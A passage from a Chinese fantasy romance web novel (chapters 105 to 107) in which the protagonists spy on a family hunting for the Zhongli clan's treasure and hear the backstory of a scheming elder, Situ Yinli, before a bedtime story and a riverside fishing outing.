“那钟离氏的宝藏究竟藏在了哪里?我们已经来这里半年了,老宅几乎翻了个底朝天也没看见半点宝物,莫非是这两千多年被钟离氏花光了?” “花光?”另一人嗤笑:“若能花光,就不叫宝藏了。” 第105章 趁着夜色探查钟离氏老宅的一行有五个人,其中两个走在前头,一眼看过去便知道他们是主人,后头跟着的三个应是府卫。 方才说话的也正是前头两人。 年纪稍小的那个约二十左右,喊着另一个年近三十的男人道:“姐夫,你难道真相信钟离氏的老宅里有宝藏?我觉得那都是我祖母在乱说,她年纪大了脑子不清醒,你可不能跟着犯傻。” 青年煞有其事地分析着:“你想啊,梁家因为出了个弑帝的罪人,老宅嫡系的全都被控制住了,你们陆家现在正是趁虚而入抢占他们生意的时候。可偏偏派你来这鸟不拉屎的东洲建造什么圣仙水生像,还让你找那莫须有的宝藏,不就是想要把你排挤出权势中心,将你架空成一个边缘人物吗?” “姐夫,你可是陆家长子,即便非嫡所出,却也是陆家家主的第一个儿子,你就不怕等到圣仙像盖建结束后你再回去,陆家早就翻天了,也没你的容身之地了?”青年说着,等身边沉着脸的男人回答。 男人朝青年瞥了一眼,瞧见对方那双看人就对到一起的斗鸡眼,嘴角勾出一抹冷笑:“难为你还能为我想这么多。” “那是当然,你可是我姐夫!”青年凑上前道:“我实在是在这儿待不下去了,符玉城的吃食太寡淡,我想回金水城。” 男人的手轻轻拍了一下青年的头顶道:“傻,也有傻的好处,至少你快乐。” 青年对着那双斗鸡眼,十分不解地歪着头。 “你的眼里只能看见陆家和梁家明面上的那些蝇头小利,却不知人生而在世不过数十载,钱就算再多,花不出去也是白费。”陆青岳问小舅子:“你可知道你为何姓司徒,而非姓沈?” 青年想了想,道:“因为我祖父和我爹死得早,沈家由祖母当家,祖母又是湖族的长老,所以我跟祖母姓?” 陆青岳哼笑:“那你那位小叔不也是湖族长老,他怎就姓沈?” 司徒皎想不出来了。 他就知道他是他们这一辈唯一的男丁。 陆青岳提点他:“湖族的长老并不稀罕,最快的在位两个月就被弹劾了下来,数十年来稳坐长老之位的,就只有你祖母。她是因为钱才稳坐高台吗?不!她是因为权和力,她的头脑里有湖族那些世家想要的东西,甚至因为权力,她能让你跟她姓司徒。而将你我送到东洲来……” 陆青岳又对上了司徒皎那双睿智的眼神,扯了扯嘴角:“她是为了保护你。” 湖族内部早就乱了。 这世道分久必合,合久必分,谁能保证那人族的帝王能永坐高堂,屹立不倒? 尾人族蠢笨,旖族四分五裂,曦族懦弱足不出户,唯有湖族在历史上可以与人族一搏。 安居一隅,不是他们的本性,而是他们当时没有其他路可选。 一切计划,都被梁家那位在神霄塔内的仲卿仙师给打乱了。 湖族出了个弑帝的仙师,还是凌国的国师,对湖族的影响有多大,是司徒皎这种笨蛋想破脑袋也想不到的。 不过好在新帝继位,那也是个蠢货,可谁又能知道蠢货不会一夕成长为难以撼动的大山,借着仲卿之名发难湖族? 人,权,力,钱,缺一不可。 若不是沈家那位如今也坐上长老之位的男人并非司徒音璃所生,司徒音璃会选择司徒皎来当她要培养的接班人? 她选司徒皎,是因为无人可选了。 不过派他和司徒皎来东洲,的确是因为湖族古籍记载里,东洲钟离氏有富可敌国的宝藏。 东洲距离湖族近,历朝历代的历史中并未发现钟离氏有过突然富裕的经历,反而钟离氏一直是稳稳地,缓慢地衰败至今。也许钟离氏的子孙后代也不知道,他们的老宅里藏着足以撼动江山的宝藏。 “姐夫,你说我祖母怎么就确定钟离氏的老宅里一定藏了宝藏啊?”司徒皎问:“就不能是历史瞎写的?咱们湖族的史记就不全是真的。” “……”陆青岳深吸一口气:“你就当是因为圣仙指引。” 二人带着府卫沿着之前已经来过无数遍的路又走了一遍,即便走远了,云绡也能听到司徒皎的抱怨声。 待到楼阁附近没人了,云绡和钟离湛才从楼阁的另一边走出来。 看来今夜他们是无法在钟离氏的老宅里继续翻找钟离湛藏的东西了……不,不止是今夜,接下来的很多个夜晚可能陆家人都会在老宅里寻找方才云绡看到的那些宝藏。 确定此处暂且安全,云绡才拉着钟离湛往外头走。 钟离氏的老宅里到处都是符纸,还有钟离湛儿时因为好玩儿布下的阵法禁制,有些钟离湛自己都忘记了,所以云绡也没打算在用隐身符。 她跟紧头顶上引路的乌鸦,这样也能避免和陆家人碰上。 出了老宅,走入街道。 符玉城里的人越来越少了,或许是因为月坛已经归于湖族所有,而东洲也早晚是湖族的囊中之物,身为曦族人的符玉城百姓有的不想和湖族人打交道,便早早避开。 距离老宅过了两条街,云绡才放下心来,这个时候她就算碰到了陆家巡逻的府卫,也可以说是夜里睡不着出来转转。 左右符玉城还不是他们湖族的地盘,轮不到一个陆家庶长子管东管西。 - 从老宅出来之后云绡收了宝贝的雀跃心情就消散了,跟着乌鸦一路,和仲卿与徐容靳碰面时,云绡还朝仲卿瞪了一眼。 仲卿:“……” 夜深了,他们这些半夜偷跑进城的也不好敲响早就落锁的客栈大门,仲卿和徐容靳才在城里找了个空下来的院落,本还想向云绡邀功呢,不知怎的就得罪云绡了。 那院子里的人可能离开没多久,桌面上只覆盖了一层薄薄的灰,屋中除了桌椅板凳和床榻一类大件不好带走之外,锅碗瓢盆连杯子都不剩了。 空荡荡的房子里,云绡和仲卿、徐容靳对坐,互通打听来的消息。 仲卿也知道,因为他的缘故,梁家近来在湖族举步维艰。 陆家原本就因金水城临江,他们占据码头,生意也做得颇广。陆家和梁家是对立关系,陆家只等着这个时候顺势而上,打算一举将梁家彻底踩在脚下。 陆家和梁家极为相似,不过梁家因为出了个仲卿被选中去了京都当国师了,这 几十年来一直过得都很不错。 而陆家即便也有个长辈在湖族古殿里当长老,却也没有因为这个长老的身份有什么特殊优待。 就如同陆青岳说的,湖族的长老并不稀罕,凡有功绩的都可以推举上位,可一旦族中有谁犯了错,也立刻能被拉下马来。 云绡道:“他们是假借打造水生像的名义想要占据东洲,入钟离氏老宅找宝藏的,至于找到宝藏想做什么……那两个人与一个姓司徒的女长老有关,他们找宝藏,大约是为了夺权。” 仲卿一听司徒,表情僵硬了一瞬,他看向云绡的眼神都有些心虚,心想云绡瞪他那一眼,该不会是知道了些他过去的什么了吧? 云绡一看仲卿心虚眉尾微挑,原本她没把司徒和仲卿联想到一起的。她瞪仲卿,完全是因为厌烦湖族人,而仲卿是湖族人……现在她要多想了。 徐容靳没看出来仲卿的不对劲,他自顾自道:“我探听了一下附近的飞禽走兽,有些是从望月山的方向过来的,听它们说那圣仙像不是什么好东西。到了夜晚圣仙像附近就会有奇怪的祭祀活动,连带着圣仙像也会变成恶鬼的模样满山乱飘,吓得它们只能离开那里。” 云绡闻言和钟离湛对视一眼,这说法倒是和她在永安城听到的一样。 那些说是触犯了月坛禁制疯了的人,回来都说月坛里有邪祟,更有人说身边的人都在吃人肉…… 徐容靳道:“我打算去一趟望月山,去问问月坛附近的兽禽,看能不能问出那些人究竟是在修建圣仙像,还是真在做什么诡异祭祀。” 云绡撑着脑袋想了想:“这样也好,你去月坛,调查清楚后不论他们是真的在建圣仙像,还是在干其他勾当,都想尽办法破坏,最好把事情闹大一些。” 钟离湛瞥了云绡一眼,她一开口,他就知道她想要声东击西了。 陆青岳带着司徒皎住在符玉城里,他们便没有机会在老宅中设九星连月阵寻找他忘却的记忆,和他藏在老宅中的重要东西。 圣仙像一旦出了问题,陆青岳和司徒皎便会被支走,只要徐容靳能拖住他们三天,云绡这边也成事了。 商量好了对策,徐容靳松了口气。 他拍了拍心口,心想他终于不是没有用的人,他也可以帮着云绡做些什么,而不是跟在她身后吃白饭的。 云绡眼珠子转了一圈,她将身上两块沉甸甸的金砖拿了出来,咯噔一下放在桌面上。 金砖实在太耀眼了,每一块都有掌心大,二指宽,分量重到将桌上薄薄一层灰都震得飞了起来。 仲卿和徐容靳瞪大双眼看向云绡,又看了看金砖,谁也没动没出声。 云绡将金砖朝徐容靳的方向推了推:“做得不错!咱们这个小队伍里缺了谁也不能缺了你啊。徐二公子,这金砖你拿去,若以你一人之力不能破坏圣仙像,就以金箔动人心。” “这、这也太多了吧……”徐容靳受宠若惊。 云绡挥了一下手:“哎~你应得的。” 徐容靳捧着金砖,刚想向他义父讨彩呢,就看见义父的脸黑沉沉的,像是要骂人。 云绡朝仲卿抬了一下下巴:“哎,你不给我老实交代?” 仲卿撇了撇嘴,叫徐容靳那个傻大个徐二公子,叫他“哎”…… “交代什么?”仲卿装傻。 云绡哼了声:“你,和司徒家。” 仲卿:“……没什么可说的。” 云绡挑眉:“坦白从宽,抗拒从严,若他们真的找到了钟离湛送给我的宝贝,我就把你砌在月坛上当圣仙像。” 仲卿:“……” 片刻沉默,两只野鸡咕咕哒哒地叫了起来。 徐容靳的两只手捏住野鸡的两张嘴,仲卿叹了口气,事无不可对人言,何况已经过去了那么多年了。 “如今那位司徒长老,名叫司徒音璃。她、她曾经是我的未婚妻,后来成了我大哥的未婚妻,又后来气死了我舅母,嫁给了我舅舅……她就成了我的新舅母了。” 仲卿的话音刚落,徐容靳和云绡……包括钟离湛,都瞪圆了眼睛看向他,心道这是什么难以理解的复杂关系? 钟离湛还稍稍离云绡近了点儿,下巴磕在云绡肩头放松下来,打算仔细听听。 仲卿对上几双眼:“……” 小老头破罐子破摔了:“司徒家本是湖族世家,底蕴极深,可惜人丁不兴,司徒音璃是司徒家那一辈的唯一女子,受宠爱长大,因为她与我年龄相当,故而司徒家与梁家结好,给我俩定了亲事。” “定亲之后,司徒家才知道司徒音璃不是他们家的女儿,她于出生时便被调换,真正司徒家的女儿被找了回来。司徒音璃在司徒家地位尴尬,我当时……并不出众,可能是原本集中在她身上的关注变少,她便不安于梁家幼子媳的身份,想要获得更大的庇护,就去找了我大哥。” “我大哥当时已有未婚妻,奈何不知因何原因他和司徒音璃共处一室衣衫不整被我和我准大嫂一同发现,后来——” “咔嚓,咔嚓。” 仲卿的话说了一半,突然听到了怪声,一抬头,看见了云绡朝徐容靳伸手。 徐容靳从口袋里抓了一把炒瓜子给云绡。 沉湎过去的仲卿:“……” 他看向徐容靳:“你哪儿来的瓜子?” 徐容靳以为他也想吃,也给仲卿掏了一把:“我从城主府顺来的。” 云绡、徐容靳:“咔嚓,咔嚓……后来呢?” 仲卿:“……” 你们真讨厌! 第106章 云绡和徐容靳等着仲卿的后来。 仲卿和司徒音璃能有什么后来呢? 现在回想过往,仲卿偶尔还能从一些模糊的片段里回忆起当时他不解、荒唐与畏惧的感受。 仲卿和司徒音璃其实接触得不算太多。 他是梁家幼子,同胞兄长很优秀也很照顾他,他每日只需钻研自己喜欢的符咒阵法就好,半点不用忧愁梁家的生意和那些氏族大家相处时的虚与委蛇。 仲卿的兄长可以算得上是梁家的门楣,若非因为梁家是商贾出生,他可以走得更高。 可即便梁家是氏族大家所看不起的商贾,仲卿的兄长也能凭着他的自身魅力,吸引一众氏族大家对他的喜爱,争相要将自家女儿嫁给梁伯昀。 梁伯昀有喜欢的姑娘,对方也很优秀,双方族中长辈也有意向撮合他们。 女方家族在湖族有名,可两袖清风,梁家有钱,他们互惠互利,更难得的是梁伯昀和那姑娘不仅感情愈浓,还互为知己。 他们总在仲卿面前说一些仲卿听不懂的话,仲卿无数次感叹,兄长和未来的嫂子真不愧是一家人。 他也不是没有未婚妻,可他和司徒音璃说不到一起去。 年幼时的司徒音璃就喜欢裙子、首饰,少年时的司徒音璃便嫌弃仲卿上不得台面不爱与他说话,可仲卿好歹生了一张好脸,这一点满足了司徒音璃的虚荣心。 直到司徒音璃不再是司徒家的独女……司徒家在知道司徒音璃是湖族权斗中被恶意掉包过来的一个农户女儿之后,也没有赶走司徒音璃,他们只是将自己的亲生女儿接回来。 即便如此,司徒音璃也不甘心。 曾经她集万千宠爱于一身,而今所有的疼爱都要分给另一个女孩儿一半,司徒音璃心里的落差仿佛她被全世界抛弃了一般,她想尽各种办法,试图抓住什么。 那个被司徒家认回来的女孩儿拥有的一切东西,司徒家也会给司徒音璃同样的一份,而曾经得天独厚的司徒音璃发现自己的所有物不再是独一无二的,这世上有一个和她一模一样高贵的女子,或许会抢走原本属于她的一切。 她去找了仲卿诉说心中不忿,可仲卿不懂司徒音璃在难过什么。 他直白道:“她不会抢走你什么东西,她或许很快就要成亲了,她正在和我表兄接触。” 仲卿的外祖家姓沈,沈家在湖族的名声远胜梁家和司徒家,仲卿的母亲是沈家的庶女,嫁给梁家当正妻主母也不算高攀了梁家,可见沈家地位。 仲卿的表兄,是他舅舅的嫡长子,司徒家认回来的女儿若能嫁给那样身份地位的男子,湖族绝不会再有人议论她曾在乡里生长十几年的过往。 仲卿以为当时她劝成了司徒音璃,因为司徒音璃沉默了,仲卿还再接再厉:“你若不想离开父母,想要更多的疼爱,大不了我们迟些成亲。等她嫁出去三年,你独享司徒家的爱重三年,我们再商议婚事如何?” 他说这话是有私心的,他也不想那么早成亲,他还想跟着家里的商船去曦族学几道祛秽符回来。 仲卿跟着父亲乘坐商船离开,再回来是两个月后,司徒家认回来的女儿果然与沈家嫡子订了亲。 就在他们二人的定亲宴上,仲卿收到了司徒音璃侍女的传话,说司徒音璃有要事要和他说,请他过去见一面。 那是在沈家的湖中亭上,离宴客的地方并不算远,亭周挂下了半截草帘,颇有野趣。 仲卿与他未来的大嫂在亭前相遇,二人对视一眼似乎明白过来了什么,再朝亭中看去。司徒音璃一边攥紧身上的衣裳一边抹泪,而梁伯昀的脖颈间蹭上一片胭脂。 仲卿有些恍惚,他未来大嫂倒是淡然许多,她的眼神失落又失望地看了梁伯昀一眼,转身便离开了。 那段时间一切发展的都极为迅速,仲卿尚未从恍惚中回过神来,他未来的大嫂就不再是他大嫂。而他曾经的未婚妻,被司徒家以梁伯昀轻薄她为由,逼着梁家,将司徒音璃的亲事,改给了梁伯昀。 仲卿也是后来听府上人说才知道,就在他离家的这两个月里司徒音璃不知多少次找过梁伯昀,借口都是她在司徒家被欺负了,仲卿不在,她无处可去,只能来找梁伯昀了。 梁伯昀也算是看着司徒音璃长大的,他照顾司徒音璃,就像照顾自己的妹妹,更甚至,是帮着只知自由和玩乐的仲卿,照看一下他的未婚妻。 司徒音璃总对梁伯昀说:“伯昀大哥也不想管我了吗?要是仲卿在,我也不至于无人可说话了。” 又或者是对仲卿曾经的未来大嫂道:“徐姐姐不会介意吧?我与伯昀大哥,还有仲卿一起长大,从小习惯依赖大哥了,况且,我们以后也会是一家人的。” 她的话乍一听没什么,可次数多了,总会让徐家小姐憋闷。 甚至司徒音璃后来堂而皇之地占据了梁伯昀身边的位置,梁伯昀无数次向她说这样于理不合,司徒音璃便要哭着寻死觅活,还要质问是不是因为徐家小姐厌烦她,所以才不许梁伯昀照顾她。 再后来,便是仲卿回来看见的那样。 他若再什么都不懂那也是白活了。 仲卿去找司徒音璃,质问她为何要这么做,司徒音璃却道:“她能嫁给嫡长子,能嫁给沈家那样的高门大户,能成为沈家将来的当家主母,我为何不行?梁仲卿,但凡你有些本事,能拿得出手一些,我也不至于出此下策!” “你是不是疯了?”仲卿当时无比震惊,他完全想不明白司徒音璃为何要和另一个女子争这些,毕竟对方从来没有伤害过她! 司徒音璃道:“人不为己,天诛地灭,我要向所有人证明,我司徒音璃绝不会输给一个乡野村姑!” 仲卿觉得司徒音璃就是被嫉妒冲昏了头脑,还是那莫须有的嫉妒。 梁伯昀到底没和司徒音璃在一起,即便梁家和司徒家做主,将司徒音璃和仲卿的婚事改在梁伯昀的身上,对外也是这样宣称的,梁伯昀也仍然拒绝。 他离家之前对梁父梁母道:“司徒音璃心性不定,气量小,睚眦必报,为达目的不择手段,不论是我还是仲卿都不可娶她,招之即为祸患。” 他跪在了梁父梁母的面前,又看了仲卿一眼道:“是我顾念幼时情谊落入她的圈套,害的梁家名声受损,害得父母担忧为难,害得仲卿颜面尽失,我会结束这场荒唐。” 梁伯昀安排好了梁家的一切,生意往来、氏族情面、包括给仲卿铺路,因为仲卿说他想要学习阵界之法,他就用自己最后的人情将仲卿介绍到当时某位古殿长老门下。 而后梁伯昀就出家了。 梁伯昀出家之事彼时在湖族也算轰动一时,毕竟在此之前还牵扯到了司徒家的真假千金、司徒家的一女二许。有人猜测梁家或许兄弟阋墙,最终成了司徒家逼婚不成,司徒音璃再度被弃。 司徒家仍然是疼爱司徒音璃的,尤其是在他们的眼中,司徒音璃才是那个名声受损受害者。 而这个受害者,用短短三个月的时间和司徒家被认回来的女儿成为了知心好友,真正做到了亲如姐妹,这更让司徒家越发疼爱司徒音璃。 司徒家本就喜爱女孩儿,如今两个女儿相亲相爱,他们也渐渐将之前的糟心事抛诸脑后,甚至因为害怕司徒音璃总陷在过去,让更听话的那个司徒家的女儿带着司徒音璃散心。 乡野村姑,何其单纯。 那女孩儿还没嫁进沈家成为沈家嫡长子的妻子,司徒音璃就借着她和沈家的关系,爬上了沈家家主的床榻。 彼时沈家家主的妻子病重,司徒音璃劝说她的好姐妹要对未来婆婆有孝心,便借着赠药之名,多次进出沈家。 第一次她无意间露出自己脖颈处的红痕。 第二次她对着来看望妻子的沈家家主红了眼眶。 第三次她神色恍惚地以他人之事为借口,故意问那病重的沈家主母若她为人所迫又不想成为他人妾室,该如何破局。 司徒音璃望着沈家主母的眼含着泪雾,此时无声,却叫那沈家主母肝胆俱裂,不足七日,药石罔效。 梁家与司徒家因婚事一事已然决裂,那段时间仲卿只想好好学出些门道,不枉兄长白费苦心,也没再听过关于司徒音璃的任何消息。 后来没多久他那个身体不好的舅母去世了,沈家还和司徒家认回来的那个女儿退了亲,中间弯弯绕绕,仲卿不懂。 他只知道,没到一年的时间,司徒音璃就成了他的新舅母,而他曾经意气风发的表兄也学着他的兄长,在家中大闹一场后去出家了。 仲卿和舅家不亲,准确来说,是沈家看不上梁家。 沈家家主,他的舅舅,有嫡亲的弟弟妹妹好几个,也不在乎他母亲这个庶出的妹妹,所以即便司徒音璃成了他的新舅母,他也不必凑上前去恭敬长辈。 而后没多久,司徒音璃就生了个儿子。 她似乎终于安生了,过起了相夫教子的生活。 直到仲卿以二十四岁这般年纪,成为了湖族古殿的长老之一。 人在自己喜欢的领域里更容易成功,仲卿在阵界之术上的确很有天赋,引他入门的长老因意外重伤,将他推举了上去。仲卿的表现也得到了古殿长老的认可,许他成为代长老,行使古殿长老的一切权力。 再一次见到司徒音璃时,她牵着个胖墩墩的小孩儿跟在沈家家主身后买药。 似是因为仲卿先前那个舅母留下来的儿子,和沈家决裂出去的那位中了毒,沈家主是来仲卿师父这里为他求药的。 仲卿推着轮椅,随他师父一起受了沈家家主一拜。 司徒音璃的目光直勾勾地盯着仲卿,她忽而一笑,也弯腰拜来,像是过去恩怨皆化为浮云。 可事实不是如此。 沈家家主不知因何后来没再来仲卿这里求药,而是信了歪门邪道,为他的嫡长子以身试毒,虽救回了他的儿子,可他自己却缠绵病榻,沈家彻底落入了司徒音璃的手中。 司徒家因早些年的内部争斗,已经死了不少人,只剩下一个年幼又病重的孩子,司徒音璃想要打压司徒家简直易如反掌。 而司徒家在司徒音璃的威胁下,终是倚靠着沈家而活。 再后来,司徒音璃往古殿 敬献不老丹,可以延年益寿,活死人肉白骨。 加之有沈家、司徒家和彼时崭露头角的陆家为扶,司徒音璃动用了点儿手段,斩落一位古殿长老,自己跻身而上。 只要她有不老丹,她就永远都是湖族的长老之一。 彼时仲卿的师父过去威望不再,他又深知司徒音璃和仲卿的旧往,便给仲卿指了一条避开麻烦,还会给梁家带来好处的出路——迎合凌国朝廷。 湖族不屑与朝廷为伍,准确来说,各族都不愿屈于人族之下,这是无奈之举。 仲卿一直记得梁伯昀说的,司徒音璃睚眦必报,而他看着司徒音璃一步步走来,短短十年便站在湖族至高的位置上,她的胆识、谋划、智慧,皆非常人所能比。 仲卿深知,他斗不过司徒音璃,两方对上,他只有被玩死的结局。 所以他答应了彼时凌国京都逍遥王周家的邀请,远赴京都坐镇神霄塔,教人族阵界之术,成为凌国国师,至少明面上,谁也不能动梁家分毫。 - 今听见云绡说,陆家与沈家有了姻亲关系,沈家年轻一辈唯一的男丁还被司徒音璃改了姓,成了司徒皎。而他们甚至占据东洲,盖圣仙像,找钟离氏的宝藏……仲卿居然一点儿也不觉得意外。 这像是司徒音璃那个女人能做出来的事。 仲卿心中甚至暗戳戳地想,司徒音璃每日愁那么多,算计那么多,居然还能长寿到现在。 她如果死了就好了,死了……他至少不必和她对上。 而云绡和徐容靳听完了仲卿说的故事,嗑瓜子的动作也停下来了。 二人几乎异口同声:“她好厉害啊。” 第107章 司徒音璃这一生,堪称跌宕起伏,不论她用了何种手段,可至少她达到了她自己的目的。 从一个娇生惯养的司徒家的假千金,成了湖族而今说一不二的女长老。 云绡对她颇为佩服。 如果她不打钟离湛赠给自己的那些宝贝的主意的话,云绡也不想和这样厉害的人物对上。 可以说这个女人害了仲卿的一生,害了梁伯昀的一生,也害了沈家和司徒家所有人。 仲卿说他的兄长梁伯昀出家之后只活了三十年便去世了,死时未到五十岁,他离世之后没过多久,仲卿的爹娘也相继离世,而仲卿自去了京都之后就再也没回来过湖族。 梁伯昀去世之前给了他一封信,告诉他不要轻易回来湖族,他在信中不敢表露太多,但话里话外都是告诉仲卿,于他而言,京都比湖族更安全。 梁伯昀的葬礼,仲卿没回来。 仲卿爹娘的后事也都是由仲卿的庶兄操办的。 仲卿去了京都,梁家就当他是死了,若非大事连书信也不会和他往来,不过也正因如此,梁家最大限度地保护好了仲卿。 他们让湖族所有人都忘了,这世上还有一个梁仲卿,甚至仲卿他自己都从未跟人介绍过自己的姓氏。 钟离湛算是津津有味地听完了仲卿之所以会去京都的原因,不过他的关注点显然和云绡还有徐容靳不同。 “什么是不老丹?”钟离湛问完,云绡一怔,对仲卿重复了一遍他的话。 仲卿有些恍惚,他叙述过去之事时并未细想其中不对劲的地方,只要提到司徒音璃,仲卿对她只有畏惧。 竟然一时间没有想到不老丹! 仲卿猛然抬头看向云绡,道:“那东西诡异!据说是古卷上传下来的神丹妙药,常年服用不老丹能延年益寿,我湖族的长老中曾有一人服用了不老丹后活到了九十多岁!” 寻常百姓均龄只能活五十多,一些达官显贵修身养性也至多七、八十岁左右,但不论富裕与否,这世间清浊有定,凡是超过七十寿数的,都是高寿。 若非如此,渡仙城之前叫百岁镇,镇子里的人绝大部分能活九十岁以上,就不会成为当初曦族一大离奇之事了。 但……想到百岁镇,云绡不由地就想到了那个神秘人。 不论是百岁镇还是渡仙城,都是对方蒙混世人的阴谋,那湖族的不老丹与这件事是否有关? 云绡既然已经知道那个神秘人恐怕集五族之长,也就不会将湖族和他割裂开,更何况徐容棋曾调查过他,他在徐容棋在世为他做事之时,来往东洲十三次之多。 既来东洲,未必不会顺水去了湖族。 “正因为那位长老是服用她的不老丹活了九十多岁,这才让古殿里的长老都极为依赖她,这世上谁人不想活着?世间有人寻长生之法,若不能长生,便向往长寿。”仲卿搓了搓胳膊道:“这是她的制胜法宝,无人知晓她的不老丹是怎么做出来的,她也只说这是她翻阅圣仙古籍,无意间从书籍中探得的机缘。” 以不老丹控制湖族古殿长老,占据月坛,寻找钟离氏的宝藏,将唯一一个与自己有血缘关系的男子改为司徒姓氏,司徒音璃的野心昭然若揭。 沉默许久的徐容靳用自己为数不多的聪慧理清了仲卿和司徒音璃还有湖族氏族与古殿长老们的关系,最后总结了一句:“难怪你至今未成婚。” 曾经的仲卿不比徐容靳聪明到哪儿去,一个只知道阵界画符的梁家小公子,亲身经历了自己的未婚妻一步步爬上高台,不知利用多少人,又私下害了多少人,他怎么可能还对女子有妄念? 也就是他后来去了京都学会了隐藏本性,端着身份装模作样,这才让京都里的人都轻信了他那张看上去有几分聪明的清高的脸。 “不过……咱们说了这么久,你们是不是都忘了一件事?”徐容靳默默举起手:“她叫司徒音璃啊,嗯……她的身上有神鬼蛊。” 云绡不知道,仲卿后知后觉地反应过来了。 对啊,司徒音璃的身上有神鬼蛊! 这是不是表示,司徒音璃不论在谋划什么都不会成功,她也不过是他人手中的棋子,只要神鬼蛊被催动,她立刻就会死! 仲卿显然松了口气。 而云绡头皮发麻。 这世上还有那个神秘人没有去过的地方吗?她怎么感觉她这一路经过,处处都是那个人的痕迹? - 这一夜云绡难眠,主屋内就剩下她和钟离湛两个人,云绡卧在钟离湛的怀中,还在想那个神秘人究竟想要做什么。 他想要复活钟离湛的目的呢? 他难道是杀神狂热的信徒吗? “睡不着?” 钟离湛的手轻轻抚摸着云绡的脊背。 云绡嗯了声,钟离湛沉默了会儿,忽而道:“那我说故事哄你睡如何?” 云绡枕着钟离湛的胳膊,抬眸朝他看去,眼神期待。 钟离湛道:“就说……剑客与影子的故事吧。从前有个仗剑独行的剑客,奉行路见不平拔剑相助,他帮助的人很多,久而久之声名远扬,可正因为他帮助的人越来越多,却越来越不快乐。” “因为这说明,世上可怜人数不胜数,若世间太平,他的剑不必出鞘。” “他越来越沉默,也越来越孤独,忽而有一天 ,他的影子开口说话了。” 云绡眼露好奇。 “剑客走在路上,只觉得头顶的太阳晒得人很热,他的影子却说,他方才路过的那一丛小花很香。剑客行路匆匆避雨时,被烛火拉长投到檐外的影子告诉他,瓦上落下的雨水像小珍珠,冰冰凉凉的落在身上很舒服。剑客杀人时,他的影子告诉他前方飘来了饭菜香,杀人消耗体力容易肚子饿,快去吃饭。” “剑客起初不喜欢这个聒噪的影子,可他后来习惯了影子的声音,渐渐的,他对这个和他完全不同性格的影子越来越好奇,他很想知道他的影子究竟长什么模样,所以他去了水边。” 钟离湛的声音很轻,云绡居然真的被他哄得有些困,她懒懒地问:“他在水里看见了谁?” 钟离湛道:“当然是他自己。” 云绡有些失落:“他是孤独疯了吗?” 钟离湛见她颓丧又困顿的眉眼,轻声道:“但他看见了水中除了他的倒影之外,还有漂浮在水面上的花瓣,和戏水的鱼。剑客突然明白,他的影子想告诉他的是,这个世间正在慢慢变好,他所做过的一切都有意义。” “草野生花,天降甘霖,炊烟比比,清水有鱼。” 云绡安心地闭上了眼睛:“真是个好故事啊,钟离湛。” 少女缩在宽厚的胸膛上,声音瓮声瓮气地传来:“这个剑客就像你一样。” 钟离湛轻笑:“睡吧。” 钟离湛听着云绡的呼吸,心中喃喃:影子于剑客,恰如你于我。 而这世间,也终会以他故事中的美好作为结尾,至少时隔两千多年,他所见到的人只要肯努力,就能吃饱饭、活下去。 - 翌日。 趁着天未亮仲卿和徐容靳便出发去望月山了,云绡留在这间空了的小院里睡到日晒三杆。 二人将陆青岳和司徒皎引离符玉城前,云绡暂且什么也不能做,所以她就当个平凡的少女,让钟离湛陪着她走过钟离湛曾经长大的地方。 即便钟离氏过去的宅院被拆去了大半,那些古老的房子推翻重建,填平了院子里的池塘,修建了错杂的街巷,可钟离湛踏回了故土,仍然能看见些许过去的影子。 云绡先是去了当铺,取出一粒淡紫色的珍珠换了银钱,便揣着银钱到处买买买。 百年老店内有号称东洲特产的酸枣糕,云绡买了几块,虽然有些酸,但因为店家舍得放糖,故而酸枣糕酸酸甜甜的也很好吃。 云绡问钟离湛:“你小时候吃过这个吗?” 钟离湛仔细想了想,摇头道:“那个时候东洲好像没有枣树。” 云绡意外地瞥了一眼手里的酸枣糕,这么说来百年老店可能真的只有百年,东洲特产也只是后来的特产。 钟离湛道:“不过我儿时也有喜欢的吃食,叫银鱼干,那是霖江里的一种只有手指细长的鱼,它们在水里看是黑色的,捞出水面又变成了透明状。那种小鱼的骨头是软的,开膛破腹清洗干净腌制后晒干,表面就会浮出鱼油脂,成了银色。” 云绡光是听就觉得怪:“生吃啊?” 钟离湛习惯地抬手弹了一下她的额头:“炸着吃。” 云绡抿嘴:“好吃?” 钟离湛点头:“腌制的时候加入了蜂蜜和木果,木果有点儿类似野梨,味道很清香,但是果味小,更多的是木香味,中和了银鱼干的腥味。油炸之后的银鱼干一点也不腥,反而多了点儿蜂蜜的甜和木果的香,软骨很脆,肉质酥软,焦一点会更香。” 云绡听他描述,加上嘴里的酸甜味儿,口水立刻就分泌出来了,她咂了咂嘴。 钟离湛问:“想吃?” 云绡立刻重重点头。 钟离湛便指了个方向:“走,去捞鱼!” 云绡眼眸发亮,立刻将酸枣糕收起来回头送给仲卿和徐容靳,她兴致勃勃,要跟着钟离湛去捞鱼! 捞鱼的地方要出城,云绡以为他这么信誓旦旦,一定有办法帮她避开城门内外的禁制,结果—— 云绡看着眼前的狗洞,眼里满是震惊。 钟离湛比她表现得更震惊,他一手掐腰,一手指着那狗洞对云绡笑道:“哈哈哈,两千多年前的狗洞居然还在,此乃跨越历史长河之洞!” 云绡:“……” 幽怨的双眼瞪向钟离湛:“你不是说过你堂堂曦帝怎么能钻狗洞?” 钟离湛伸手不自然地摸了一下鼻子,沉默代表了一切。 刚和云绡认识时,他初醒,摆了多年曦帝的架子,总要装一装的。 可当初还在符玉城的钟离湛,年纪尚小,也不是没有过偷溜出城玩水的经历。 云绡一边爬狗洞,一边嘀咕:“先用银鱼干把我的馋虫吊起来,再骗我爬狗洞,你还是我最喜欢最亲爱的哥哥吗?” 那句最喜欢和最亲爱,如一根箭矢,刺中了钟离湛的良心。 他揉了揉心口,嗯,良心不疼,反而因为最喜欢和最亲爱,感觉甜滋滋的。 出了城,前往霖江这一段路,野草疯长又因冬来枯黄。 云绡脚踏御风符的时候,干枯却仍然活着的野草被风吹出金色的波浪,波浪拂过她的裙摆,迎风而来枯草的味道带着冬风微凉,霖江的风中,还有清甜的水仙香。 云绡踩过枯草,再见霖江边黑色的鹅卵石城堆,石缝里的水仙开得正盛,便是这要冷不冷,又有阳光的时候,才是它们尽情绽放之期。 碧水蓝天,一江两岸。 霖江的另一边山川跌宕,霖江的这一边炊烟袅袅。 云绡问钟离湛:“小鱼怎么捞?” 钟离湛道:“那是石缝鱼,所以长不大,水仙花丛下就有,你仔细看看。” 云绡走到江岸边,看见石缝间浅浅的水洼里果然有些手指长短的小鱼,水中如墨,捞起来又是透明的。 她一怔,连忙笑道:“我知道了!这鱼本来就是透明的,因为这里的石头是黑色的,所以它在水中也是黑色,对不对?” 